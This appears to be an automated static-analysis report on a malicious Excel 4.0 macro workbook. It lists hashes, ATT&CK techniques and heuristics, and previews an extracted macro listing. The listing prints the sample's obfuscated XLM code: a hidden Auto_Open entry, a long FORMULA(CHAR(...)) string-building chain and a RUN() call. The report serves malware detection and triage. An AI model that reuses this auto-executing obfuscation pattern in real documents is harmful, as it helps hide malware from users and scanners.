Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f14e477be53f1d3…

MALICIOUS

Office (OLE)

233.0 KB Created: 2020-05-15 08:28:39 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: d2d683a4858a069251492b4af3c374fd SHA-1: 852bb39489e58d33e872d8abe1963f4c2bc2bf8c SHA-256: 4f14e477be53f1d3762307bf3021d7a39b4714acabd68dfc774914df1f5f5bd4
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical heuristics indicate the presence of an obfuscated Excel 4.0 Auto_Open macro. The macro execution chain involves running formulas that likely construct and execute commands. This pattern is commonly used to download and execute further malicious content, hence the classification as a spearphishing attachment.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Obfuscated XLM Auto_Open execution chain critical OLE_XLM_OBFUSCATED_AUTOEXEC_CHAIN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and an obfuscated formula execution chain. The macro builds strings through FORMULA(CHAR(...)), primes state with SET.VALUE / GET.CELL / GOTO, and transfers control through RUN(). This is a high-confidence XLM malware pattern.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 130841 bytes
SHA-256: f16c25bed5ac93e81333e983daa51dc570c72a1ef466b0689f008d41eeef0428
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!BQ57031 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,JP33,"",571.25000000000000000000
'  Sheet,HK63,"",20.83018867924528194635
'  Sheet,JF77,"",19.36842105263157876038
'  Sheet,FB85,"",0.34153946153846148626
'  Sheet,HT90,"",428.00000000000000000000
'  Sheet,CV103,"",-0.88702928870292885311
'  Sheet,HP109,"",-400.00000000000000000000
'  Sheet,CQ120,"",-2.03571428571428558740
'  Sheet,BE135,"",19.74193548387096797114
'  Sheet,HP139,"",1054.00000000000000000000
'  Sheet,HF140,"",660.50000000000000000000
'  Sheet,HX156,"",0.28877005347593581730
'  Sheet,JO207,"",144.00000000000000000000
'  Sheet,DC257,"",9.55882352941176449690
'  Sheet,DD257,"",-0.10973084886128364746
'  Sheet,EH293,"",0.12925170068027211356
'  Sheet,IJ335,"",604.50000000000000000000
'  Sheet,BI386,"",11.65909090909090828347
'  Sheet,L406,"",0.29411764705882353921
'  Sheet,L427,"",0.88000061035156251776
'  Sheet,GI475,"",-4.58208955223880565200
'  Sheet,BP489,"",-558.25000000000000000000
'  Sheet,BB492,"FORMULA(CHAR(DG32300-HO8896)&CHAR(GO34238*FV39572)&CHAR(IO38156*BW46029)&CHAR(IO38156/IR2514)&CHAR(GO34238+FT60814)&CHAR(CE51158/CW39478)&CHAR(GO34238-E1803)&CHAR(CE51158*CW46300)&CHAR(N64813/O29824)&CHAR(DR20082+P5655)&CHAR(DR43571-EL5764)&CHAR(DR20082+BI43005)&CHAR(DR20082*JA12710)&CHAR(GO34238*GE45535)&CHAR(N64813/BM20842)&CHAR(FO2774-P55503)&CHAR(DG32300-IR25390)&CHAR(FO2774/EI20961)&CHAR(BN56219+EF47177)&CHAR(FO2774*BL28101)&CHAR(IO38156*GB39802)&CHAR(BN56219*JI55464)&CHAR(FO2774-CR16892)&CHAR(FO2774*EA48857)&CHAR(DG32300+DG1673)&CHAR(DG32300/DV53099)&CHAR(BN56219-FZ25154)&CHAR(DR20082/GW42083)&CHAR(BN56219+HN15457)&CHAR(EF21865*JE53139)&CHAR(DR43571/HN27947)&CHAR(DR43571*W46343)&CHAR(EF21865-EQ45672)&CHAR(GO34238/FU3260)&CHAR(DR43571/GH58269)&CHAR(FO2774+CX8281)&CHAR(BN56219-IX49072)&CHAR(EF21865*L21965)&CHAR(IO38156*JM35703)&CHAR(DR20082*FZ62150)&CHAR(BN56219*EJ27471)&CHAR(DG32300-DD48662)&CHAR(CE51158+DD39303)&CHAR(GO34238/BC24522)&CHAR(DR20082+DH61671)&CHAR(EF21865+HK13468)&CHAR(EF21865*BB45931)&CHAR(FO2774*P59314)&CHAR(EF21865-X43657)&CHAR(DR43571/BP15171)&CHAR(BN56219/HI6276)&CHAR(N64813+GE1218)&CHAR(BN56219/BL29715)&CHAR(DG32300-FE54593)&CHAR(DR20082*DR56498)&CHAR(DR43571*DW8114)&CHAR(DR43571-DI34192)&CHAR(GO34238+CL56380)&CHAR(IO38156/FB46431)&CHAR(DG32300+T20231)&CHAR(GO34238-DP60500)&CHAR(BN56219-CT8050)&CHAR(DG32300-JB3654)&CHAR(DR43571+HJ57434)&CHAR(CE51158-IN48107)&CHAR(IO38156*K32614)&CHAR(CE51158*FI15099)&CHAR(CE51158*GY609)&CHAR(N64813/CI59637)&CHAR(IO38156/DB23596)&CHAR(BN56219/BK49646)&CHAR(EF21865*IY6225)&CHAR(BN56219-HG53742)&CHAR(EF21865-R28275)&CHAR(FO2774/GI475)&CHAR(IO38156-BG39700)&CHAR(DG32300-CB60161)&CHAR(FO2774-T45696)&CHAR(IO38156*IZ34770)&CHAR(CE51158+CC21813)&CHAR(EF21865-GV56601)&CHAR(CE51158*BE38474)&CHAR(CE51158-GG35133)&CHAR(DR20082-GQ27825)&CHAR(DG32300*HV38742),BB493)",""
'  Sheet,BB494,RUN(BS48042),""
'  Sheet,FF503,"",34.00000000000000000000
'  Sheet,DS538,"",275.00000000000000000000
'  Sheet,FJ538,"",0.31923076923076920686
'  Sheet,EK568,"",608.50000000000000000000
'  Sheet,HQ580,"",0.06068840579710144817
'  Sheet,FE581,"",-130.75000000000000000000
'  Sheet,CP582,"",-434.20031249999999545253
'  Sheet,GY609,"",-0.25348189415041783024
'  Sheet,IC638,"",-0.05595179537629119820
'  Sheet,FC719,"",234.00000000000000000000
'  Sheet,HP804,"",635.50000000000000000000
'  Sheet,HD817,"",-169.00000000000000000000
'  Sheet,DB825,"",-73.00000000000000000000
'  Sheet,E837,"",407.00000000000000000000
'  Sheet,BK843,"",1720.00000000000000000000
'  Sheet,HR860,"",-476.20031249999999545253
'  Sheet,CP904,"",-8.75609756097560953947
'  Sheet,HG904,"",0.06431159420289854489
'  Sheet,H924,"",-1031.
... (truncated)